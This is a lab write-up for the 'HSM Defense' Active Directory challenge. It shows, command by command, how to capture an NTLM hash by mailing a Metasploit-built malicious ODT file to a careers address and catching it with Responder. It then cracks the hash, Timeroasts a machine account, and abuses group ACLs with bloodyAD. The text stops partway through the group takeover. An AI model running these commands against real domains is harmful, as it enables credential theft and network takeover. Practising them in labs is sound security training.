> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/hsm-defense.md).

# HSM Defense

Challenge Lab (Hard) - by 2ubZ3r0

{% embed url="<https://www.hacksmarter.org/courses/bc6f4209-e0fd-4b29-98fe-591814598ae0>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

HSM Defense is a defense contractor, and is required to have an in-depth penetration test done against their internal Domain Controller. You have been hired to perform a comprehensive penetration test and, if possible, elevate your privileges to Domain Admin to demonstrate impact.

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

You have been provided credentials for a low-privileged Active Directory user.

Username: kelly.johnson Password: Lordofwar

There is also a way to solve this lab from a "blackbox" perspective with no credentials. If you'd like an added challenge... give it a shot!

{% hint style="info" %}
We do not start from the assumed breach scenario.

The section 'Access as kelly.johnson' can be skipped if you want to follow the official approach of the assumed breach scenario.

The reconnaissance section assumes no given credentials and is written that way, missing enumeration with the credentials from the assumed breach scenario.

The initial approach turned out to be too unstable and was therefore shortened through the assumed breach scenario, but it is still available.
{% endhint %}

## Summary

<details>

<summary>Summary</summary>

In HSM Defense, we begin with enumeration of a single Domain Controller `DC.hsm-defense.local` exposing DNS on port `53`, Kerberos on `88`, LDAP on `389` and `636`, SMB on `445` with signing required, IIS on `80` serving a career portal, hMailServer SMTP on `25` and `587`, POP3 on `110`, IMAP on `143`, RDP on `3389`, and WinRM on `5985`. Initial SMB enumeration returns `STATUS_NOT_SUPPORTED`, indicating NTLM authentication is disabled and Kerberos must be used via the `-k` flag. We generate a hosts file entry and `krb5.conf` via NetExec for all future Kerberos-based requests. Directory scanning yields nothing, but VHOST fuzzing with FFuF discovers `support.hsm-defense.local`, which requires credentials.

Scrolling through the career portal, we find a call for applications at `careers@hsm-defense.local` accepting ODT and ODP formats. We generate a malicious ODT file using Metasploit's `odt_badodt` module that forces an outbound connection to an attacker-controlled SMB share, spin up Responder, and use `swaks` to deliver the attachment via SMTP. The user `kelly.johnson` opens the file, leaking an NTLMv2 hash that we crack with `hashcat`. Authenticated as `kelly.johnson`, we run the bloodhound-ce ingestor and discover the user is a member of the `it-ticket-handlers`group. Logging into the support portal, we find ticket `2417` revealing a manually set password on the `HELPDESK01$` machine account, and ticket `2422` reporting that `jason.caldwell` is locked out with `KDC_ERR_CLIENT_REVOKED` due to incorrectly set logon hours.

We exploit the DC via Timeroasting using NetExec's `timeroast` module to retrieve SNTP hashes, then crack one of the hashes with `hashcat` mode `31300` turning out the be the `HELPDESK01$` hash after testing the credentials. BloodHound shows `HELPDESK01$` has `WriteOwner` on the `servicedesk` group, which holds `ForceChangePassword` over `jason.caldwell`, `ethan.mercer`, and `luke.harrison`. We chain the abuse: set `HELPDESK01$` as owner of `servicedesk`, grant `GenericAll`, add `HELPDESK01$` to the group, and reset passwords. The authentication to `jason.caldwell` fails with `KDC_ERR_CLIENT_REVOKED` as depicted in the ticket, so we pivot to `luke.harrison`, a member of the `account administration` group. Using `bloodyAD get writable`, we discover `luke.harrison` has write permissions over `jason.caldwell`'s `logonHours` attribute, a relationship not visible in BloodHound. We clear the logon hours restriction, authenticate as `jason.caldwell`, and obtain a WinRM shell on the DC.

On the DC, we find MariaDB running internally on port `3306`, recover database credentials from `my.ini`, and query the `new_employees` database for MD5 hashes. Cracking one and spraying it across all domain users yields two hits: `aaron.pierce` and `caleb.turner`. BloodHound shows `caleb.turner` is a member of both `Remote Management Users` and `IT OU Operators`. We log in as `caleb.turner` via evil-winrm and find the user flag. Dumping ACLs on the four IT-Tier OUs using `bloodyAD`, we discover that `caleb.turner` holds `DELETE_CHILD` on `IT-Tier1` directly, while `IT OU Operators` has `GenericAll` with `CONTAINER_INHERIT` on `IT-Tier3` with no Deny ACEs. We move `oscar.mazerath` from `IT-Tier1` to `IT-Tier3` by modifying its `distinguishedName`, inheriting full control via the `CONTAINER_INHERIT` flag, and reset the password.

As `oscar.mazerath`, who holds `GenericWrite` over `ryan.cole` in `IT-Tier1`, we perform a targeted Kerberoast with an `msDS-SupportedEncryptionTypes` downgrade to RC4, crack the resulting `$krb5tgs$18$` hash, and authenticate as `ryan.cole`. Via RDP, we find an email referencing an internal SSH tool for legacy systems and a desktop shortcut to it. We point the tool at our attacker machine running `SSHlog`, a credential-capturing SSH server, and intercept the cleartext credentials of the `ITOPS01$` machine account. `ITOPS01$` holds `WriteDACL` over `svc_delegate`, so we grant ourselves `GenericAll` and reset the password.

`svc_delegate` has `GenericWrite` on `HELPDESK01$`. We target the machine account specifically because the S4U2Self delegation step requires a Service Principal Name, which machine accounts have by default. We configure Kerberos constrained delegation with protocol transition by setting `msDS-AllowedToDelegateTo` to `ldap/DC.hsm-defense.local`and enabling the `TRUSTED_TO_AUTH_FOR_DELEGATION` UAC flag. Using `getST.py`, we impersonate the Administrator via S4U2Self and S4U2Proxy to obtain a service ticket for LDAP on the DC. We perform a DCSync attack with `secretsdump.py`, recover the Administrator's NTLM hash, request a TGT via pass-the-hash, and log in via evil-winrm as Administrator, yielding the root flag at `C:\Users\Administrator\Desktop\root.txt`.

</details>

## Recon

We use `rustscan -b 500 -a 10.1.87.19 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.1.87.19 -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fh8EJunsx1fnbf2iKvINZ%2Fgrafik.png?alt=media&amp;token=6280a67a-8946-4e76-b034-c3daab266ae7" alt=""><figcaption></figcaption></figure>

The target `10.1.87.19` is a Domain Controller, `DC.hsm-defense.local`, in the `hsm-defense.local` domain. DNS is exposed on port `53` and Kerberos on port `88`, alongside Kerberos password change on port `464`. LDAP and LDAPS services are available on ports `389` and `636`, with the Global Catalog on ports `3268` and `3269`. SMB is exposed via ports `139` and `445` with message signing enabled and required. Remote management and access are available through RDP on port `3389` and WinRM on ports `5985` and `47001`. The host also exposes AD Web Services on port `9389`, RPC over HTTP on port `593`, and several MSRPC endpoints on ports `135`, `49664–49724`. An IIS 10.0 web server on port `80` serves a site titled "Office Careers | HSM Defense", suggesting a career portal or web application. Notably, the DC is also running hMailServer, providing SMTP on ports `25` and `587`, POP3 on port `110`, and IMAP on port `143`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8UkN6y6GgN3S8uDwYmxW%2Fgrafik.png?alt=media&amp;token=aa98fe1b-dcff-414e-b5c8-2a31c889451f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQfpF9g9U6xuIrFa6B390%2Fgrafik.png?alt=media&amp;token=ee554212-35a0-48a8-a047-24ff7ab3cb35" alt=""><figcaption></figcaption></figure>

### SMB

We will generate a hosts file entry with the following command and see that NTLM authentication is not supported, meaning we may need to use Kerberos authentication via the `-k` flag if we find any credentials.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.1.87.19 -u guest -p '' --generate-hosts-file hsm-defense-host
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F51VTG73mlZcfgmezPNsY%2Fgrafik.png?alt=media&amp;token=27748e05-8e5e-4788-8e4c-5c5e2680e891" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.1.87.19     DC.hsm-defense.local hsm-defense.local DC
```

{% endcode %}

We generate the `krb5.conf` file using NetExec so that Kerberos knows which domain controller to contact for authentication in all future Kerberos-based requests.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC.hsm-defense.local -u 'guest' -p '' --generate-krb5-file /etc/krb5.conf -k
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMLqGd9rXhQ7NtYFaIsEa%2Fgrafik.png?alt=media&amp;token=48bb339f-a6cd-4d3a-937a-4c8aa4253f95" alt=""><figcaption></figcaption></figure>

### WEB

We will continue with the enumeration of the website hosted on the DC. We start a directory scan, but do not find any interesting endpoints.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://hsm-defense.local'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F38mqtbVFdNfH2OdggOEf%2Fgrafik.png?alt=media&amp;token=c7641bbc-4455-43c8-8f8c-065c8205414c" alt=""><figcaption></figcaption></figure>

However, the VHOST enumeration returned one match; we found a `support` vhost..

{% code overflow="wrap" expandable="true" %}

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.hsm-defense.local" -u http://hsm-defense.local -fw 23339
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgwA7AH6tu74XaGZVdBLe%2Fgrafik.png?alt=media&amp;token=fcebd410-525f-44df-a57b-13ca5c74d0a4" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.1.87.19     DC.hsm-defense.local hsm-defense.local DC support.hsm-defense.local
```

{% endcode %}

We visit the support page, but it requires credentials. Since our approach does not involve using the assumed breach credentials, we'll start by looking at the main page, which didn't turn up anything of interest during the directory scan.

{% code overflow="wrap" expandable="true" %}

```
http://support.hsm-defense.local/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrMUxSJlgCZaFl8QZac9D%2Fgrafik.png?alt=media&amp;token=972659f8-394d-4b43-93af-c110991ee35b" alt=""><figcaption></figcaption></figure>

We visit the page and only find a static site infront of us.

{% code overflow="wrap" expandable="true" %}

```
http://hsm-defense.local/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkeWxDPeclAwiiadHXFAp%2Fgrafik.png?alt=media&amp;token=9343458b-e097-4d5a-a12d-9640bbb86b54" alt=""><figcaption></figcaption></figure>

## Access as kelly.johnson

But if we scroll down a bit further, we'll find a call for applications at `careers@hsm-defense.local`. We can apply by sending a resume in ODT or ODP format.&#x20;

So we could try to establish a reverse shell using a macro document or one that, when opened, establishes an unsecured connection to an external network share in order to intercept NetNTLM hashes.

From our port scan, we know that a mail server is indeed running. So we'll try this approach.

{% code overflow="wrap" expandable="true" %}

```
http://hsm-defense.local/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYJNdaU7HrtS3DkcsxABl%2Fgrafik.png?alt=media&amp;token=ed2608f7-231b-405c-8062-9a1914517522" alt=""><figcaption></figcaption></figure>

We'll prepare the ODT document. Metasploit offers a wide range of options.

{% code overflow="wrap" expandable="true" %}

```
msfconsole
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJ7JmU50AP6WJMY2iYLli%2Fgrafik.png?alt=media&amp;token=0ae715c7-5c47-4b92-a5e6-ab1f93628a5b" alt=""><figcaption></figcaption></figure>

We'll search for the odt modules and test the results from each one. We'll succeed in this lab with `odt_badodt`. This is the one.when opened, establishes an unsecured connection to an external network share in order to intercept NetNTLM hashes.

{% code overflow="wrap" expandable="true" %}

```
search odt
```

{% endcode %}

We use the module.

{% code overflow="wrap" expandable="true" %}

```
use fileformat/odt_badodt
```

{% endcode %}

Set the LHOST to our tun0 interface...

{% code overflow="wrap" expandable="true" %}

```
set LHOST tun0
```

{% endcode %}

... and run the exploit. We end up with a bad.odt file.

{% code overflow="wrap" expandable="true" %}

```
run
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2lVHrkLCXAc0lbJoyI7M%2Fgrafik.png?alt=media&amp;token=5a850376-7863-4999-ac75-9bbb99a6d4cd" alt=""><figcaption></figcaption></figure>

Next, we setup responder to retrieve the NTLM hash of the user opening the file.

{% code overflow="wrap" expandable="true" %}

```
responder -I tun0
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkRHOm2uVHMm65U2O9S4K%2Fgrafik.png?alt=media&amp;token=d4b013a2-c887-4741-b3eb-5eb347b11325" alt=""><figcaption></figcaption></figure>

Now, we only need to send a mail to `careers@hsm-defense.local` with the `bad.odt` file attached. For this we are using swaks.

{% code overflow="wrap" expandable="true" %}

```
swaks \        
  --to 'careers@hsm-defense.local' \
  --from '0xb0b@candidate.com' \
  --header 'Subject: Job Application no1' \
  --body 'Dear Hiring Team,
Please find attached my application for the position. I look forward to hearing from you.
Kind regards, 0xb0b' \
  --attach-type application/octet-stream \
  --server DC.hsm-defense.local \
  --port 25 \
  --timeout 20s \
  --attach @bad.odt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOQGpr81pcyD9ufdEldcN%2Fgrafik.png?alt=media&amp;token=2909a114-670d-493f-8ffb-e0554f2a23e4" alt=""><figcaption></figcaption></figure>

After sending the file we might end up with a hash in responder.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPkPx74DyixMV0EN0cwz7%2Fgrafik.png?alt=media&amp;token=af794168-d9bc-4efe-a096-abc6488e720f" alt=""><figcaption></figcaption></figure>

We can then crack this hash using hashcat and the rockyou.txt file.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m5600 kelly.hash /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeEc0FCGKFu0Vq6gWnm1p%2Fgrafik.png?alt=media&amp;token=e8100370-5c6b-4c83-865c-4a34361ff498" alt=""><figcaption></figcaption></figure>

We test the credentials of `kelly.johnson` using NetExec and receive the same error message `STATUS_NOT_SUPPORTED` as in our initial enumeration phase using the guest account. We need to use the `-k` flag in NetExec to authenticate via Kerberos instead of NTLM, since the target does not support NTLM authentication.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC.hsm-defense.local -u kelly.johnson -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F581lS38Km7ODFFmCGDwi%2Fgrafik.png?alt=media&amp;token=f3e5fd5d-5ae1-4e72-9c49-db15fde5f2da" alt=""><figcaption></figcaption></figure>

If not already done, we generate the `krb5.conf` file using NetExec so that Kerberos knows which domain controller to contact for authentication in all future Kerberos-based requests.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC.hsm-defense.local -u 'guest' -p '' --generate-krb5-file /etc/krb5.conf -k
```

{% endcode %}

We test the credentails of `kelly.johnson` using with the `-k` parameter and successfully authenticate via Kerberos. At first glance, we don't see any notable shares.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC.hsm-defense.local -u kelly.johnson -p 'REDACTED' -k --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtcdCdz7WK1mxAji8oBoI%2Fgrafik.png?alt=media&amp;token=e7c9ec9b-9345-473e-b6c5-492d400c40a5" alt=""><figcaption></figcaption></figure>

With the credentials, we'll enumerate the domain using BloodHound. Fortunately, the bloodhound-ce  ingestor supports Kerberos authentication by default, allowing us to enumerate the domain without any issues.

{% code overflow="wrap" expandable="true" %}

```
bloodhound-ce.py -u 'kelly.johnson' -p 'REDACTED' -d hsm-defense.local -dc DC.hsm-defense.local -ns 10.1.158.135 -c All --zip
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMvXKHWgSuUBGPrlihSg5%2Fgrafik.png?alt=media&amp;token=7338f41a-0f80-4d6f-9751-a837f3fceb23" alt=""><figcaption></figcaption></figure>

We'll mark the user `kelly.johnson` as owned and take a look at permissions the user has an the group memberships. We see that the user is a member of the `it-ticket-handlers` group. Perhaps we can log in with that user on the support page we found earlier.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJWRFlEuMh86gKuvYfh6E%2Fgrafik.png?alt=media&amp;token=347b2a01-2e70-4246-9c7b-df0eac3f10ee" alt=""><figcaption></figcaption></figure>

The only Domain Admin is the Administrator user.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FudhnbFMeTLjn5CN5gz0S%2Fgrafik.png?alt=media&amp;token=bc5d8432-4c8c-4fe6-a7eb-4a320dc4dac0" alt=""><figcaption></figcaption></figure>

We visit the support page again and enter the credentials of `kelly.johnson`.

{% code overflow="wrap" expandable="true" %}

```
http://support.hsm-defense.local/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYkA6p9ettYP9eMn3VB6N%2Fgrafik.png?alt=media&amp;token=7c7b4d0e-b74d-49e8-9cfa-2544d0c3f9f2" alt=""><figcaption></figcaption></figure>

We gain access to the support page, which contains several tickets with highly sensitive information that we might be able to use to our advantage.

Ticket `2417` is one of those. It states that a password was apparently set manually for the `HELPDESK01$` machine account for troubleshooting purposes and now needs to be reset. We may be able to use timeroasting to obtain the credentials for `HELPDESK01$` since manually set passwords tend to be weaker and crackable compared to the auto-generated random passwords that machine accounts normally have.

{% code overflow="wrap" expandable="true" %}

```
http://support.hsm-defense.local/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaFhHoiNn2anCRBCbxO9I%2Fgrafik.png?alt=media&amp;token=26c9b21c-afd9-42a3-8d0f-cc0cf7d50780" alt=""><figcaption></figcaption></figure>

We also take note of the ticket `2422`. The user `jason.caldwell` has the status `KDC_ERROR_CLIENT_REVOKED` and can no longer log in. This may be due to incorrectly set logon hours. A user with write permissions on the `jason.caldwell` user object could correct these logon hours if the credentials for that user can be obtained.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwUKSdWaiD6L15sQLd4V8%2Fgrafik.png?alt=media&amp;token=f9fd585d-4c1c-4eec-93a0-0841cdfa10f2" alt=""><figcaption></figcaption></figure>

Furthermore there is an enigneering console we can open which looks like a sandboxed terminal. But we cannot leverage anything from it to compromise the target.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FfrsW701eWupqRxkKB2F4%2Fgrafik.png?alt=media&amp;token=a0f46500-f850-46b3-890b-005188a7705d" alt=""><figcaption></figcaption></figure>

## Access as HELPDESK01$

We recall the ticket `2417` and attempt to gain access to the `HELPDESK01$` machine account using the aformentiond Timeroasting attack.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FswhJmhyRwBeXZ9hoJFb6%2Fgrafik.png?alt=media&amp;token=5cf2d65f-33d9-4f2a-93aa-386e6db4a6f4" alt=""><figcaption></figcaption></figure>

In BloodHound, we can see that the `HELPDESK01$` machine account might be a valuable target since it has `WriteOwner` permissions on the `servicedesk` group. Specifically, once we obtain the credentials for `HELPDESK01$`, we can set it as the owner of the `servicedesk` group, grant ourselves `GenericAll` on the group, and then add a user we control to the group, thereby gaining all the permissions of the `servicedesk` group.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHr3C8Qig1P3wTfCkvrnx%2Fgrafik.png?alt=media&amp;token=efe1a242-f316-410f-8154-4b7bb1d0b6ae" alt=""><figcaption></figcaption></figure>

We perform the timeroasting attack.&#x20;

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FlU4vbHFAqX160cE23PcQ%2Fgrafik.png?alt=media&amp;token=cd8358bf-ffbb-4879-b927-d5e7729af531" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/roasting/timeroast#unauthenticated-timeroasting>" %}

> Timeroasting is an attack technique that abuses Microsoft's proprietary NTP extension to extract password-equivalent hashes for computer and trust accounts from domain controllers without requiring authentication. These hashes can subsequently be cracked offline.
>
> Domain-joined computers synchronize their system clocks using NTP, with domain controllers acting as authoritative time sources. To address NTP's lack of authentication, Microsoft implemented a custom extension that cryptographically authenticates NTP responses using computer account credentials.
>
> When a computer requests time synchronization, it includes its computer account's RID (Relative Identifier) in the NTP request. The domain controller responds with a Message Authentication Code (MAC) computed using the computer account's NTLM hash as the key. This design allows unauthenticated clients to request salted password hashes for any computer account in the domain by specifying different RID values.

A nice article about Timeroasting can be found here:

{% embed url="<https://medium.com/@offsecdeer/targeted-timeroasting-stealing-user-hashes-with-ntp-b75c1f71b9ac>" %}

Via Timeroasting we are able to retrieve three SNTP hashes that can we try to crack using Hashcat mode `31300`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC.hsm-defense.local -u kelly.johnson -p 'REDACTED' -k -M timeroast
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBqQDkOiISGHB9CDsadQ7%2Fgrafik.png?alt=media&amp;token=ae240359-88ff-4eac-a758-cefa81844298" alt=""><figcaption></figcaption></figure>

{% embed url="<https://hashcat.net/wiki/doku.php?id=example_hashes>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWSOmuW7hTmQholxoPM8o%2Fgrafik.png?alt=media&amp;token=cf5ff218-0892-4aa7-bb7c-cfce799f0b6c" alt=""><figcaption></figcaption></figure>

Unfortunately my version installed was too old and did not support the mode.

For convinience I switched to my Windows host wich had hashcat v7.1.2 already present. We are able to crack the hash for the user with the RID `1105`.

```
 .\hashcat.exe --username -a0 -m31300 .\hashes.txt .\rockyou.txt
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0nh8KinYHJyUuUXxDOEF%2Fgrafik.png?alt=media&amp;token=b0aa5f98-bfe7-470c-9060-61a4cea07eb7" alt=""><figcaption></figcaption></figure>

We try to authenticate as `HELPDESK01$` with the recovered password and are successful.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC.hsm-defense.local -u 'HELPDESK01$' -p 'REDACTED' -k --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FskdUaD5XlU1Meg5vTRml%2Fgrafik.png?alt=media&amp;token=4fedf6ef-8edf-439a-84ce-98a8f168c17e" alt=""><figcaption></figcaption></figure>

Let's take a closer look at the BloodHound data and see that we can change the passwords for the accounts `jason.caldwell`, `ethan.mercer`, and `luke.harrison` through the service desk group. So we can take over these accounts.&#x20;

The user `jason.caldwell` is particularly interesting because that user is a member of the `remote management users` group, which allows us to get an interactive session on the domain controller. However, we also know from the support tickets that this user may have set the logon hours incorrectly, and we may not be able to authenticate with that account.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCW7P0LNzbNmgCpgcnCMQ%2Fgrafik.png?alt=media&amp;token=1b85a4dd-cfff-401a-80db-e67d4b3cb2a6" alt=""><figcaption></figcaption></figure>

Furthermore, the user `luke.harrison` is also of interest because the user is a member of the `account administration` group; it's possible that we have additional permissions through this group, but we don't see them directly in our Bloodhound data.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1FRwfgrLHnQWQAgTM0EG%2Fgrafik.png?alt=media&amp;token=01c8e087-18e6-4762-b7dd-1c325aee5d65" alt=""><figcaption></figcaption></figure>

## Access as jason.caldwell

We follow the path analyzed from our Bloodhound data and take over the service desk group to gain control of the user jason.caldwell and thereby establish a remote session to the DC.

So, we set the `HELPDESK01$` machine account as the owner of the `servicedesk` group, grant ourselves `GenericAll` on the group, and then add a user we control to the group, thereby gaining all the permissions of the `servicedesk` group. After that we change that password of the desired users.&#x20;

**WriteOwner -> change ourself to owner**

We change the ownership of the target Active Directory object `servicedesk` to our controlled machine account `HELPDESK01$` so we gain full control over it.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/grant-ownership#grant-ownership>" %}

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k --host DC.hsm-defense.local -d hsm-defense.local -u 'HELPDESK01$' -p 'REDACTED' set owner 'servicedesk' 'HELPDESK01$'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2Jgw3cLh4Tzsbd2bRCuV%2Fgrafik.png?alt=media&amp;token=7fab1287-11fa-4190-9b0f-97b057676ef1" alt=""><figcaption></figcaption></figure>

**Grant us GenericAll over the Group**

We grant the account `junior.analyst` `GenericAll` permissions over the target group `servicedesk`, giving us full control over the object and its attributes.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/grant-rights>" %}

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k --host DC.hsm-defense.local -d hsm-defense.local -u 'HELPDESK01$' -p 'REDACTED' add genericAll 'servicedesk' 'HELPDESK01$'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FfygMtmhC0PCY0DqXSXkU%2Fgrafik.png?alt=media&amp;token=ca60b031-e3a9-47b4-9f31-cada18224286" alt=""><figcaption></figcaption></figure>

**AddMember: Add HELPDESK01$ to the group**

We add the account `HELPDESK01$` as a member of the `servicedesk` group to inherit its privileges.

This abuse can be carried out when controlling an object that has a `GenericAll`, `GenericWrite`, `Self`, `AllExtendedRights` or `Self-Membership`, over the target group.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/addmember>" %}

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k --host DC.hsm-defense.local -d hsm-defense.local -u 'HELPDESK01$' -p 'REDACTED' add groupMember 'servicedesk' 'HELPDESK01$' 
```

{% endcode %}

